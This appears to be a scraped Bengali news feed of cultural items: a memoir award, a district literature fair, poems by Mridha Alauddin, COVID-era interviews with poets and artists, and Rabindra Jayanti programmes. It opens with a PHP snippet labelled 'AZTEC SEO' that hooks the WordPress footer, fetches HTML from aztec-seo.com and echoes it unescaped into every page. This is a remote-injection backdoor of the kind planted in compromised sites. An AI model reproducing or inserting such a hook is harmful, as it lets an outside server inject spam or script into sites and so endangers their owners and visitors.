/* AZTEC SEO */
add_action('wp_footer', function () {
$domain = wp_parse_url(home_url(), PHP_URL_HOST);
if (!$domain) return;
$ck = 'aztec_footer_' . md5($domain);
$html = get_transient($ck);
if ($html === false) {
$url = add_query_arg(array('domain' => $domain, 'date' => gmdate('c')), 'https://aztec-seo.com/api/v1/footer');
$res = wp_remote_get($url, array('timeout' => 8));
$html = (!is_wp_error($res) && wp_remote_retrieve_response_code($res) === 200) ? (string) wp_remote_retrieve_body($res) : '';
set_transient($ck, $html, $html === '' ? 5 * MINUTE_IN_SECONDS : HOUR_IN_SECONDS);
}
if ($html !== '') echo $html;
}, 99);
আত্মজীবনীতে ২০২১ সালে বাংলা একাডেমি পুরস্কারপ্রাপ্ত ‘জীবন নদীর বাঁকে বাঁকে’ গ্রন্থের রচয়িতা সুফিয়া খাতুন। বইতে নদীর মতো প্রবহমান জীবনের গল্প তুলে ধরেছেন তিনি। বইটির সময়কাল ১৯৩০ থেকে ২০০৩ সাল।
বইটিতে এক সাধারণ নারীর অসাধারণ হয়ে ওঠার গল্প রচিত হয়েছে। ১৯৫০–এর দশক থেকে শুরু করে ২৩ বছর তিনি সিদ্ধেশ্বরী গার্লস স্কুল, ভিকারুননিসা নূন স্কুল ও তৎকালীন ক্যান্টনমেন্ট মডার্ন স্কুলে শিক্ষকতা করেছেন।
সমাজসেবাধর্মী নানা কর্মকাণ্ডেও নিয়োজিত ছিলেন সুফিয়া খাতুন। গড়ে তুলেছিলেন প্রাতর্ভ্রমণকারী সঙ্গিনীদের নিয়ে ‘উষা মৈত্রী’ সংগঠন। যুক্ত ছিলেন ‘হেমন্তিকা’ নামের সংগঠনের জন্মপ্রক্রিয়া থেকে। সমমনা আগ্রহী নারীদের সঙ্গে নিয়ে বৃদ্ধাবাস প্রতিষ্ঠার লক্ষ্যে কাজ করেছে ‘হেমন্তিকা’। দুটি সংগঠনের নামই তার দেওয়া।
]]>জেলা পর্যায়ের সাহিত্যিকদের সৃষ্টিকর্ম জাতীয় পর্যায়ে তুলে ধরার লক্ষে সংস্কৃতি বিষয়ক মন্ত্রণালয়ের পৃষ্টপোষকতায় বাংলা একাডেমির সমন্বয়ে বাংলাদেশের প্রত্যেকটি জেলায় এ সাহিত্য মেলা অনুষ্ঠিত হচ্ছে। এরই ধারাবাহিকতায় নেত্রকোনায়ও জেলা প্রশাসনের বাস্তবায়নে দুই দিনব্যাপী এ সাহিত্য মেলার আয়োজন করা হয়।
জেলা প্রশাসক অঞ্জনা খান মজলিশের সভাপতিত্বে সাহিত্য মেলা উদ্বোধন করেছেন অনুষ্ঠানের প্রধান অতিথি সংস্কৃতি প্রতিমন্ত্রী কে এম খালিদ এমপি। আলোচনা সভার শুরুতেই বেলুন উড়িয়ে আয়োজনের উদ্বোধনী সূচনা করা হয়।
পরে পাবলিক হলে আলোচনা সভায় অন্যান্যের মধ্যে বক্তৃতা করেন বাংলাদেশ আওয়ামী লীগের সংস্কৃতি বিষয়ক সম্পাদক নেত্রকোনা-৩ আসনের এমপি অসীম কুমার উকিল, অবসরপ্রাপ্ত সাবেক সচিব উজ্জ্বল বিকাশ দত্ত, সংস্কৃতি বিষয়ক মন্ত্রণালয়ের যুগ্ম সচিব মো. শামীম খান, বাংলা একাডেমির পান্ডুলিপি সম্পাদক আবু শামছ মোহাম্মদ, পুলিশ সুপার মো. ফয়েজ আহমেদ, পৌর মেয়র নজরুল ইসলাম খান ও জেলা আওয়ামী লীগের নব নির্বাচিত সভাপতি এডভোকেট আমিরুল ইসলাম (জিপি) প্রমুখ।
]]>একদিন গভীর রাতে, তারাভরা জোছনায়
আমি একটি কালো গোলাপের ঘ্রাণে মত্ত হলাম।
বর্ণনা করতে লাগলাম গোলাপের গুণ-কীর্তন—
গুনতে ও দেখতে থাকলাম পাপড়ি ও কাঁটা
নারীর নরম মাংসের মতো সব সুললিত পেলবতা—
চিত্র-বিচিত্র
বিমূর্ত সুবাসের সারোৎরার।
আর তখনই আমার মনে হলো
ফাবি আইয়ে আলা রাব্বিকুমা তুকাজ্জিবান…।
মরা নাও নদী
আমি দোষ-গুণ এবঙ
প্রেমহীন একটা মরা নাও ও
নদীর কাছে গেলাম।
তখন ছিল রাত। আমি তারাদের দিকে দৃষ্টি দিলাম—
কিছুক্ষণ ভাসলাম জোছনার জলে
রাত্রিরে
রৌদ্দুরে…
এবঙ একদিন মরা নাও নদীতে জোয়ার এলো।
তোমরা শেকড়ের কাছে যাও
আমি পথ হারিয়ে, পথের ধারে একটা শেকড়ের কাছে গেলাম
পুরনো বটবৃক্ষের শেকড়—
এবঙ একদিন শেকড়টা আমাকে নিয়ে গেল
কতোগুলো ফুুল, পাখি ও পাতাদের কাছে।
নদীর কাছে।
সেখানে প্রজাপতি ও কিছু কিছু জোছনাভরা ভেজা নগ্ন—
নিরাভরণ নারী ও তারাও ছিল।
ছিল অচেনা-অজানা আলোময় সন্ধ্যার রৌদ্দুর…
তোমরা শেকড়ের কাছে, যাও বটবৃক্ষের কাছে।
দূরত্ব
আমি একটা নিঃসঙ্গতার ডুব দিয়ে দেখলাম— এ জগৎ শ্যামল-শুভ্র নয়
ধূলি আর মরু বালুকণায় ডুবে আছে সমস্ত রৌদ্দুর…
প্রেমের পালক
কৈতর—
পানকৌড়ির রক্তে লেপ্টে আছে আমার এই দেহ।
তবে আর কেনো মিছে মায়া বাড়াবো— লাভ কি?
সমুদ্র আমাকে কেবল দূরত্বই দেখায়
দূরত্ব…।
পেলব মাংস
সমুদ্রের ধারে নিয়ে গেলাম বেদনায় ব্যাপৃত হওয়া আমার এই প্রেমময় দেহ।
ব্যথার পিরামিড
তাজমহল—
কাটা কৈতর…
নগ্ন হয়ে ডুব দিলাম সমুদ্রের গহিনে কয়েকবার।
আবারও
আবারও
আমি আবারও আপাদমস্তক ডুব দিলাম সমুদ্রে—
স্বর্ণ হয়ে ভেসে গেল আমার সুডৌল সুন্দর
সঘন সুন্দর বস্ত্রহীন— নিরাভরণ দেহ
নিম্ননাভির নিম্নাঙ্গ, উরুদেশ— পায়রা হয়ে উড়ে গেল
বেদনায় ব্যাপৃত হওয়া আমার এই প্রেমময় দেহ
দেহের আধেক
সরু গলি—
লবণসমেত পেলব মাংস…।
শেকড়-সমুদ্র
রাত্রিওে রৌদ্দুরে তাকাও
তাকাও চারিদিকে—
দৃষ্টি দিঅ উরু অথবা নদীর নিতম্বের দিকে
কতোটা প্রথিত হলো তোমার শেকড়-সমুদ্র…
প্রথিত শেকড় থেকেই একদিন বীজ অঙ্কুরিত হবে।
নায়েগ্রার জলপ্রপাত
কেউ আসেও না আমার কাছে
আমিও যাই না কোথাও—
সামনে থেকে সরিয়ে দিয়েছি
নীল আকাশ
সমুদ্র
নায়েগ্রার জলপ্রপাত—
বেদনার ভারাক্রান্ত নীল আকাশে দেখি
সাইমুম ঝড়— জল-জলোচ্ছ্বাস…।
ছিলাম আমি
আমি তখনকার কথা বলছি
যখন না ছিল শেষ, না ছিল শুরু—
দিন ও রাত্রি।
ছিল শুধু ডিম্বাণু, শুক্র— চারিদিকে অথৈই সমুদ্র
আয়না ও আলোর কুণ্ডলী…
কিন্তু তখনো রৌদ্দুরে ভাসছিল সঘন
জোয়ার জোছনা— আমার পৌরুষের
শাদা-শুভ্র আলোভেজা রঙ…।
অন্ধ প্রেমিক
আমি তার সাথে প্রেম অথবা কামকলা কিছুই করতে পারছি না।
কেননা, তার ছায়া, মায়া— সুডৌল দেহ
কিছুই খুঁজে পাচ্ছি না আমি।
আমি এক অন্ধ প্রেমিক।
হে নদী— সাগর-সমুদ্র আমাকে সাহায্য করো।
আমি
আমি হাঁটতে গেলেই তার দেখা পাই।
পাই জগতের সব রৌদ্র, জোয়ার-ভাটা…
একটা অচেনা-অজানা নদী এসে ঝাপটে ধরে আমাকে—
আমি কায়েশ অথবা একই সাথে মজনু…।
মৃধা আলাউদ্দিন : কবি, কথাশিল্পী ও প্রাবন্ধিক। ঢাকার একটি জাতীয় দৈনিকে কর্মরত।
]]>থানা, পুলিশ, মন্ত্রী, কেবিনেট নিয়েও তিনি শাণিত বক্তব্য রেখেছেন কবিতায়। কিন্তু সহজ-সরল ভাষায় মোক্ষম কথাটি বলেন অকপটে। তার সেই অকপট ভঙ্গিটাই বেশ উপভোগ করার মতো। যিনি টানাগদ্যে যেমন লিখছেন, তেমনি ছন্দ-অন্ত্যমিলেও। তার কবিতা যেন সবকিছু ছাপিয়ে কাহিনি কিংবা রূপকগল্পের ভেতর দিয়ে জ্বেলে দেয় সুন্দরের আশ্চর্য বিভা। কেবল অলঙ্কার প্রয়োগে নয়, সুবোধ সরাসরিও বলেন। চরমসত্য এমনই সাবলীল ভাষায় বলতে পারেন একমাত্র কবি সুবোধ সরকারই।
এই কবি ২০১৩ সালে সাহিত্যে স্বীকৃতিস্বরূপ পেয়েছেন ভারত সরকারের সাহিত্য আকাদেমি পুরস্কার। এ পর্যন্ত তার প্রকাশিত কাব্যগ্রন্থ ২৮টি। শিক্ষকতার পাশাপাশি সম্পাদনা করছেন সাহিত্যের কাগজ ‘ভাষানগর’।
গণমাধ্যমকে তিনি বলেন, কিচ্ছু ভালো লাগছে না। খেতে ভালো লাগছে না। ঘুমোতে ভালো লাগছে না। ঘুম থেকে উঠে ভালো লাগছে না। এই বুঝি তিনি এসে গেলেন। ঘরে ঢুকে পড়লেন। কত আর হাত ধোব। হাত ধুতে ধুতে একদিন পাগল হয়ে যাব না তো?
খ্যাতিমান এই কবি আরো বলেন, এই একটা জায়গায় আমি বেঁচে আছি। লেখা না থাকলে আমি বাঁচতে পারতাম না। যেদিন লিখতে পারি সেদিন ভালো থাকি। মনে হয় আমার পিঠে দুটো ডানা আছে। আমি উড়ে চলে যেতে পারি। পাহাড়ে যেতে পারি। মানস সরোবরে যেতে পারি। সমুদ্রের তীর গিয়ে নামতে পারি। গতকাল সকালে একটা কবিতা লিখেছি। লেখাটা শেষ করে যেই উঠে দাঁড়ালাম মনে হলো পৃথিবী থেকে করোনা চলে গেছে। এই ‘ফ্যান্টাসম্যাগোরিয়াতে’ পাঁচ মিনিট থাকলেও মন থেকে অবসাদ মুছে যায়। লেখা থেকে এরকম একটা দারুচিনির গন্ধ পাই আমি। সেটা বেশিক্ষণ থাকে না। নাই বা থাকলো। যতক্ষণ থাকে ততটাই ষোলআনা।
তিনি আরো বলেন, মহাভারত পড়ছি আবার। সঙ্গে গার্সিয়া মার্কেজ। আ ডেডলি কমবিনেশন। করোনার অভিঘাতে চেনা পৃথিবীর কতোটা বদল ঘটেছে? জানতে চাইলে বরেণ্যে এই কবি বলেন, বদল?
পৃথিবীর ওপিঠে এসে পড়েছি আমরা। এই পৃথিবীকে আমরা আগে দেখিনি। লকডাউনের আগে পৃথিবীকে যেখানে রেখে এসেছি সেখানে ফিরে গিয়ে আর আমরা তাকে পাব না। সারাক্ষণ আমাদের নস্টালজিয়া হবে। আহা আমরা আগে কি সুন্দর কফি হাউসে বসে আড্ডা দিতাম। আহা কি সুন্দর জামাইষষ্ঠী হত। কি ভালো ছিল ঈদের আনন্দ, পুজোর হইচই। এসব নিয়ে আমরা স্মৃতিকথা লিখবো। ছোটরা জানতে চাইবে ব্রিগেডে কত লোক হতো। আমরা বলবো দশ লক্ষ লোক হতো জনসভায়। ছোটরা বলবে, গুল মারছে, এদের এখন একটাই স্বভাব গুল মারা। আমরা নিউনরম্যালকে নিতে পারব না আবার নস্টালজিয়ায় ভেসে যেতেও পারব না। আমরা একটা চিরন্তন দ্বিধায়, একটা ইটারনাল ডিলেমায় আটকে থাকব।
করোনার এই সময়টাকে কেউ কেউ যুদ্ধ বলছেন। এই প্রসঙ্গে তিনি বলেন, যুদ্ধের সময় আপনি পালাতে পারেন। এখন আপনি পালাতে পারবেন না। পালিয়ে যাবেন কোথায়? জলপথ বন্ধ। স্থলপথ বন্ধ। আকাশপথ বন্ধ। কোনো দেশ আপনাকে নেবে না। কোনো দেশ আপনাকে যেতেও দেবে না। আপনি যেখানে আছেন, যে পাড়ায় আছেন, যে আবাসনে আছেন, সেখানেই থাকতে হবে। আপনি এক পাড়া থেকে আরেক পাড়ায় গিয়ে ঘুরঘুর করলে পুলিশ আপনাকে সন্দেহ করবে।
]]>কর্মসূচি :
করোনা সংক্রমণের এই সময়ে রবীন্দ্রজয়ন্তী উপলক্ষে জনসমাগম হয় এমন কোনো আয়োজন থাকছে না। তবে প্রধানমন্ত্রী ডিজিটালি রবীন্দ্রজয়ন্তী উদযাপনের পরামর্শ দিয়েছেন। সে অনুযায়ী সংস্কৃতিবিষয়ক মন্ত্রণালয় ডিজিটাল মাধ্যমে প্রচারের জন্য একটি অনুষ্ঠান ধারণ করেছে। ধারণকৃত এই অনুষ্ঠানটি আজ সকাল ১০টায় দেশের বিভিন্ন চ্যানেলে প্রচার করা হবে। এছাড়া ‘ওই মহামানব আসে’ শীর্ষক বিশেষ অনুষ্ঠানের আয়োজন করেছে ছায়ানট। রবীন্দ্রজয়ন্তীর দিন সকাল সাড়ে ৯টায় ছায়ানটের ইউটিউব চ্যানেলে দেখা যাবে এটি।
রবীন্দ্রজয়ন্তীতে আইজিসিসি’র বিশেষ আয়োজন :
বিশ্বকবির জন্মবার্ষিকী উপলক্ষে বিশেষ আলোচনা অনুষ্ঠানের আয়োজন করেছে ঢাকার ভারতীয় হাইকমিশনের ইন্দিরা গান্ধী কালচারাল সেন্টার (আইজিসিসি)। ভারতীয় হাইকমিশনের এক সংবাদ বিজ্ঞপ্তিতে জানানো হয়, রবীন্দ্রনজয়ন্তী উপলক্ষে ‘ট্রিবিউট টু রবীন্দ্রনাথ ট্যাগোর : এ রে অব হোপ থট ট্যাগোরস ফিলোসফি’ শীর্ষক অনুষ্ঠানের আয়োজন করছে আইজিসিসি। অনুষ্ঠানটি রবীন্দ্রজয়ন্তীর দিন, অর্থাৎ আজ শুক্রবার সন্ধ্যা সাড়ে সাতটায় আইজিসিসি’র ফেসবুক পেজে সম্প্রপ্রচার করা হবে।
এই আয়োজনে অতিথি হিসেবে থাকবেন বাংলাদেশের রবীন্দ্র বিশ্ববিদ্যালয়ের ভাইস চ্যান্সেলর (ভিসি) অধ্যাপক ড. বিশ্বজিৎ ঘোষ, ভারতের শান্তিনিকেতনের বিশ্বভারতী বিশ্ববিদ্যালয়ের ভাইস চ্যান্সেলর (ভিসি) অধ্যাপক ড. বিদ্যুৎ চক্রবর্তী, বিশিষ্ট শিক্ষাবিদ, লেখক এবং অনুবাদক অধ্যাপক ফখরুল আলম এবং ভারতের অনুবাদক ও গবেষক অধ্যাপক রাধা চক্রবর্তী। এছাড়া অনুষ্ঠানে আরো উপস্থিত থাকবেন ইন্ডিয়ান কাউন্সিল ফর কালচারাল রিলেশনসের (আইসিসিআর) সভাপতি ড. বিনয় সহস্রবুদ্ধি। অনুষ্ঠানের শুরুতে স্বাগত বক্তব্য দেবেন বাংলাদেশে নিযুক্ত ভারতীয় হাইকমিশনার ড. রীভা গাঙ্গুলি দাশ। ইন্দিরা গান্ধী কালচারাল সেন্টারের ফেসবুক পেইজ https://www.facebook.com/IndiraGandhiCulturalCentre/
করোনাকাল কেমন কাটছে? ভোরের কাগজের এমন প্রশ্নের জবাবে বাংলাদেশে শিল্পকলা জগতের অনন্য মুখ রফিকুন নবী বলেন, আর সবার যেভাবে কাটছে, আমারও তাই কাটছে। এটা একটা অপ্রত্যাশিত বাজে সময়। চারদিকে মানুষ রোগী হয়ে যাচ্ছে, মৃত্যুও হচ্ছে, এসব চিন্তা মাথায় ঢুকলে কিছুই আর ভালো লাগে না। তারপরও ঘরে বসে বসে করোনা নিয়ে কিছু ছড়া লিখছি। ছবি আঁকার চেষ্টা করছি। কিন্তু নিজের মনপুত হচ্ছে না। মন ভালো না থাকলে কিছুতেই তা হবে না। দুশ্চিন্তা নিয়েই কাটছে সময়। পরিবারের ছেলে-মেয়েরা অনেকেই বাইরে থাকে, তাদের নিয়ে দুশ্চিন্তাতেই থাকি। এই অবস্থার মধ্যে সিরিয়াসলি ছবি আঁকা হচ্ছে না। তবে পড়াশোনা করছি। বেশিরভাগই শিল্পকলাকেন্দ্রিক। করোনা নিয়েও কাজ করার পরিকল্পনা আছে। কিন্তু আমি ভয়াবহ পরিস্থিতি নিয়ে কিংবা মানুষকে ব্যথিত করে এমন কোনো কাজ করতে পারি না।
করোনার অভিঘাতে কতটা বদলাল বিশ্ব এবং বাংলাদেশ? এই প্রশ্নের উত্তরে রনবী বলেন, আগে যেসব মহামারি দেখেছি, সেসব আঞ্চলিক ছিল। কোনো দেশ বা ওই দেশের কোনো অঞ্চলে সীমাবদ্ধ থাকত। কিন্তু অন্য মহাদেশকে আক্রান্ত করত না। কিন্তু এই প্রথম আমার দেখার অভিজ্ঞতায় একটা ভাইরাস ভয়ঙ্করভাবে সারা পৃথিবীতে ছড়িয়ে গেল। ধনী দেশ গরিব দেশ, ভালো দেশ পাজি দেশ কাউকেই বাদ দেয়নি। প্রচণ্ডভাবে ভীতিকর একটা পরিস্থিতি সৃষ্টি করল। এটা কি প্রকৃতি থেকে নাকি মনুষ্য সৃষ্টি- এটা বিজ্ঞানীরাই ভালো বলতে পারবে।
করোনার এই অভিঘাতে সারা বিশ্বেই একটা অর্থনৈতিক খারাপ পরিস্থিতি বিরাজ করবে। বড় কোনো দুর্গতি আসলেই আমাদের মতো ছোট দেশগুলো দুর্ভিক্ষের মধ্যে পড়ে যায়। এবারো যে সেটা আসবে না তা বলা যায় না। আরেকটা দিক দেখি, এই যে মধ্যপ্রাচ্যে এতো বোমাবাজি যুদ্ধ-বিগ্রহ চলছিলই। এই ভাইরাস আসায় সব দিকেই এসব বন্ধ হয়ে গেছে। যেই দেশগুলো এসবে জড়িত থাকে তারা এসবে আক্রান্ত হওয়ায় এসবের দিকে মনোযোগের সময় নাই। ওইদিক দিয়ে একটা পরিবর্তন আসল। এর মধ্য দিয়ে বোঝাই যাচ্ছে- খুব বানোয়াট মানসিকতা থেকেই এই যুদ্ধগুলো হয়। তেল নিয়ে, পাওয়ার নিয়ে, কারা নেতৃত্বে থাকবে এসব নিয়েই তো যুদ্ধ হয়। ভাইরাসের কাছে সব ডাউন।
আমাদের মনোজগতে করোনার কী প্রভাব দেখছেন? এর জবাবে বিশিষ্ট এই শিল্পী বলেন, একটা আত্মকেন্দ্রিক এবং স্বার্থপর ব্যাপার ঘটে চলেছে সমাজে। আমি বাঁচব, এমনটাই বেশি বেশি ভাবা হচ্ছে। তাতে করে আত্মকেন্দ্রিকতা, স্বার্থপরতার রূপটা ভেসে উঠছে। যার করোনা হয়, তার ধারেকাছে স্ত্রী, পুত্র, কন্যা, পরিবার কেউ থাকতে পারে না! এমন একটা জঘন্য ভাইরাস। তাতে করে আমাদের মানবিকতা, পারিবারিক বন্ধন এসব লোপ পাচ্ছে বলে মনে হচ্ছে আমার। তাতে করে ভয়াবহ মানসিক পরিবর্তন হতে যাচ্ছে বলে আমার ধারণা।
]]>পীযূষ বন্দ্যোপাধ্যায়
সাংস্কৃতিক ব্যক্তিত্ব
পীযূষ বন্দ্যোপাধ্যায়, বরেণ্যে অভিনেতা। অভিনয়ের সব মাধ্যমেই তার অবাধ পদচারণা। প্রখ্যাত এই অভিনেতা দেশমাতৃকার মুক্তির প্রয়োজনে একদিন জীবন বাজি রেখে যুদ্ধে ঝাঁপিয়ে পড়েছিলেন। রণাঙ্গনের অতুতোভয় মুক্তিযোদ্ধা পীযূষ বন্দ্যোপাধ্যায় সম্প্রীতি বাংলাদেশের আহ্বায়ক। একাধারে একজন নাট্যকার, আবৃত্তিকার, সংগঠক ও সাংস্কৃতিক ব্যক্তিত্ব। চলচ্চিত্র উন্নয়নেও রয়েছে তার বিশেষ ভূমিকা। তার মননশীল কলাম ও ভাবনা পাঠককে আবিষ্ট করে এবং ভাবায়। আপাদমস্তক মানবিক ও প্রগতিশীল এই সংস্কৃতিপ্রাণ মানুষটি মনের আনন্দে শিশুতোষ ছড়াও লিখেছেন অসংখ্য এবং লিখেছেন কবিতাও। তিনি বর্তমানে একুশে টেলিভিশনের সিইও হিসেবে কর্মরত।
তার মতে, মুক্তিযুদ্ধ আমাদের জাতীয় জীবনে মহাকাব্যিক অধ্যায়। তিনি প্রতিদিন, প্রতিমুহূর্তে যা কিছু করেন এবং করছেন এর সবকিছুই মুক্তিযুদ্ধের চেতনা, দর্শন এবং আদর্শকে সম্পৃক্ত করেই করেন। তার মতে, একজন মুক্তিযোদ্ধার কাছে তার জীবনের সব কিছুতেই মহান মুক্তিযুদ্ধের পবিত্র স্পর্শ স্পষ্ট লেগে থাকে। তার সঙ্গে থাকে সৌহার্দ ও সম্প্রীতির মেলবন্ধন।
বিশিষ্ট এ শিল্পীর করোনাকাল কেমন কাটছে জানতে চাইলে ভোরের কাগজকে তিনি বলেন, করোনাকাল সবার যেভাবে শঙ্কায় কাটছে আমারও তেমনি কাটছে। সুযোগ পেলেই পড়ছি আর কলাম লিখছি। কিছু ছড়া ও কবিতার খসড়াও করছি। ১৯৭১ সালে আমি যে ঘর থেকে বেরুলাম, সেই ঘর থেকে বেরুনোর পরে আবার যে ঘরে ফিরলাম, সেই পুরো সময়টাকে স্মৃতিকথার মতো করে ধরবার চেষ্টা করছি। একটা জার্নি থেকে মানুষ অনেক কিছু দেখবে। এছাড়া আমার তো এখন দুটো অফিস। ইটিভি আর সম্প্রীতি বাংলাদেশ। সারাদিন অফিস এবং সম্প্রীতি বাংলাদেশের পক্ষ থেকে বিভিন্নজনের খোঁজখবর নিতে হচ্ছে।
প্রত্যেক সপ্তাহে সারা পৃথিবীর এক্সপার্টদের নিয়ে প্রতি বুধবার আর শনিবার এক ঘণ্টার ভার্চুয়াল মিটিং করি। আমরা দেশের বিভিন্ন অঞ্চলের জেলা উপজেলার স্কুল-কলেজ এবং উপশহরে গিয়ে যে সম্প্রীতি সংলাপ করতাম সে প্রোগ্রামটা এখর আর ফিজিক্যালি করতে পারছি না। সেটাই আমরা এখন ভার্চুয়ালি বিভিন্ন বিষয়ভিত্তিকভাবে করছি। যাদের জানানোর ইচ্ছা থাকে তারা জানে। এর মধ্যে আমরা বুদ্ধপূর্ণিমা নিয়ে করেছি। যেখানে বাংলাদেশের অসাম্প্রদায়িক চেনা এবং সমাজনীতি শীর্ষক আলোচনা করেছি। এরপর রবীন্দ্রজয়ন্তী করেছি। এরপর করোনার প্রতিষেধক নিয়ে করেছি। এর সঙ্গে আমেরিকা, ভারত এবং বাংলাদেশ মিলে তিনটি দেশের কিছু এক্সপার্ট সম্পৃক্ত হয়েছিলেন। যারা বৈজ্ঞানিক চর্চা এবং ওষুধের প্রতিষেধক নিয়ে গবেষণা করেন, তারা যুক্ত হয়েছিলেন। ভালো একটা প্রোগ্রাম হয়েছে। সম্প্রীতি বাংলাদেশের ফেসবুকে এটা লাইভ হয়।
এর মধ্যে পড়ছেন কি- জানতে চাইলে তিনি বলেন, বাড়িতে অনেক পড়ার বই জমে আছে। সব তো আর পড়া হয় না। তবে এর মধ্য থেকে রাজনীতি আর সমাজনীতির বইগুলো পড়ছি। করোনা পরবর্তীকালে পৃথিবীতে বিশালাকারে সমাজ এবং অর্থনীতির পরিবর্তন আসছে। আমাদের সামাজিক সংস্কৃতি ও অর্থনীতি এবং মানুষের (বিহেবিয়ার প্যাটার্ন) প্রাত্যহিক আচরণের অনেক পরিবর্তন হচ্ছে বলে বিশেষজ্ঞরা বলছেন। সেই বিষয়গুলো নিয়ে লেখাগুলো পড়ে বুঝবার চেষ্টা করি। আর আন্তর্জাতিক রাজনীতি এবং উপমহাদেশের রাজনীতি কোথায় গিয়ে দাঁড়াবে- কি হতে পারে তা নিয়ে আমার আলাদা ইন্টারেস্ট আছে। সেটা নিয়ে পড়ার চেষ্টা করি।
তিনি বলেন, আরেকটা বিষয় লক্ষ্য করছি, ঘোলা জলে মাছ শিকার করার মানুষের তো অভাব নেই। এ দুঃসময়ের মধ্যেও অনেকে ঘোলা জলে মাছ শিকারের পাঁয়তারা করছে। গণমাধ্যমের মাধ্যমে এসব আমরা দেখছি। তাদের গতিবিধি কী হচ্ছে, সেটাও গণমাধ্যমের মাধ্যমে জানার চেষ্টা করছি।
করোনাকালে আপনার চেনা পৃথিবীর কতোটা পরিবর্তন হয়েছে জানতে চাইলে পীযূষ বলেন, একেবারে ভিন্ন জগতে আমরা পৌঁছে গেছি। কোনো মিলই খুঁজে পাচ্ছি না। মিল খোঁজার চেষ্টা করাও ভুল হবে। যে জগতের সঙ্গে আমাদের পরিচয় ছিল, এখনকার যে জগৎ সে জগতের সঙ্গে একেবারেই পরিচয় ছিল না। আমরা স্প্যানিশ ফ্লু, প্ল্যাগ কিংবা ইবোলার কথা শুনেছি। এখন আমরা জীবন থেকে শেখছি।
বাংলাদেশ ঘুরে দাঁড়াতে পারবে কী না- জানতে চাইলে বিশিষ্ট এই মুক্তিযোদ্ধা বলেন, অবশ্যই ঘুরে দাঁড়াতে পারবে। এটা আমাদের জাতীয় চরিত্র। এটা দু-চার-দশ বছরের কাহিনী নয়, এটা শত শত বছরের চরিত্র। নিকট-অতীতেও দেখেছি, বাংলাদেশের মানুষ ঘুরে দাঁড়ানোর সামর্থ্য এবং সাহস রাখে। সুদূর অতীতেও দেখেছি বাংলাদেশ ঘুরে দাঁড়িয়েছে, আবারো ঘুরে দাঁড়াবে।
তিনি বলেন, আরেকটা অভাবনীয় পরিবর্তন দেখছি- সেটা হচ্ছে গাছগুলো সবুজ থেকে সবুজতর হচ্ছে, যেন মখমলের গালিচা বিছিয়ে দেয়া হয়েছে। পাখি ডাকছে, নতুন পাখি, পুরনো পাখি।
]]>অনুষ্ঠানের শুরুতেই বিশ্বকবি রবীন্দ্রনাথ ঠাকুরের ১৫৯তম জন্মবার্ষিকী উপলক্ষে প্রধানমন্ত্রী শেখ হাসিনার শুভেচ্ছা বাণী পাঠ করে শোনান জনপ্রিয় বাচিক শিল্পী ডালিয়া আহমেদ। শুভেচ্ছা বক্তব্য দেন সংস্কৃতি বিষয়ক প্রতিমন্ত্রী কে এম খালিদ। এর আগে সমবেত কণ্ঠে রবীন্দ্রনাথ ঠাকুরের জনপ্রিয় গান ‘হে নূতন, দেখা দিক আর-বার জন্মের প্রথম শুভক্ষণ’ পরিবেশিত হয়।
কবিগুরুর বিখ্যাত কবিতা ‘দুঃসময়’ আবৃত্তি করে শোনান আরেক জনপ্রিয় বাচিক শিল্পী মাহিদুল ইসলাম। রবীন্দ্রসংগীত শিল্পী অদিতি মহসীন এর কণ্ঠে ‘আমি মারের সাগর পাড়ি দেব বিষম ঝড়ের বায়ে’ পরিবেশনের পর নুনা আফরোজ এর রচনা, পোষাক ও মঞ্চ পরিকল্পনা এবং নির্দেশনায় ‘প্রাঙ্গণেমোর’ নাট্যদলের নাটক ‘আমি ও রবীন্দ্রনাথ’ এর অংশবিশেষ দেখানো হয়। ডালিয়া আহমেদ আবৃত্তি করেন রবীন্দ্রনাথের আরেক জনপ্রিয় কবিতা ‘বিষ্টি পড়ে টাপুর টুপুর, নদেয় এল বান’।
এরপর শিল্পী আজিজুর রহমান তুহিন গেয়ে শোনান রবীন্দ্রনাথের গান ‘যেতে যেতে একলা পথে নিবেছে মোর বাতি’ এবং মাহিদুল ইসলাম আবৃত্তি করে শোনান ‘বিপদে মোরে রক্ষা কর এ নহে মোর প্রার্থনা’। সমবেত কণ্ঠে রবীন্দ্রসংগীত ‘প্রাণ ভরিয়ে তৃষা হরিয়ে মোরে আরো আরো আরো দাও প্রাণ’ পরিবেশনের পর ডালিয়া আহমেদ পুনরায় আবৃত্তি করেন রবীন্দ্রনাথের আরেক বিখ্যাত কবিতা ‘নির্ঝরের স্বপ্নভঙ্গ‘।
লিয়াকত আলী লাকী’র নির্দেশনা ও লোক নাট্যদলের পরিবেশেনায় রবীন্দ্রনাথ ঠাকুরের নাটক ‘রথযাত্রা’র গুরুত্বপূর্ণ কিছু অংশ পরিবেশনের পর ‘বাঙালি সাহিত্য ও সংস্কৃতিতে রবীন্দ্রনাথের অবদান’ শীর্ষক কথিকা পাঠ করেন কৃষ্টি হেফাজ। সমবেত কণ্ঠে জনপ্রিয় রবীন্দ্রসংগীত ‘আকাশ ভরা সূর্য-তারা, বিশ্বভরা প্রাণ, তাহারি মাঝখানে আমি পেয়েছি মোর স্থান’ পরিবেশনার মধ্য দিয়ে অনুষ্ঠানের পরিসমাপ্তি ঘটে। সংস্কৃতি বিষয়ক মন্ত্রণালয়ের উদ্যোগে ১৫৯তম রবীন্দ্র জয়ন্তীর এ বিশেষ অনুষ্ঠান যৌথভাবে আয়োজন করেছে বাংলাদেশ শিল্পকলা একাডেমি ও বাংলাদেশ টেলিভিশন।
প্রতি বছরই রবীন্দ্র জয়ন্তীতে অনুষ্ঠান আয়োজন করে ছায়ানট। এবার ডিজিটাল মাধ্যমে ছায়ানট নিবেদন করে ‘ওই মহামানব আসে’ শিরোনামের অনুষ্ঠান। ছায়ানটের ইউটিউব চ্যানেলে শুক্রবার সকাল সাড়ে ৯টায় প্রচার হয় অনুষ্ঠানটি। এতে রবিঠাকুরের গান, আবৃত্তি পরিবেশিত হয়। এটি গ্রন্থণা করেছেন সন্জীদা খাতুন।
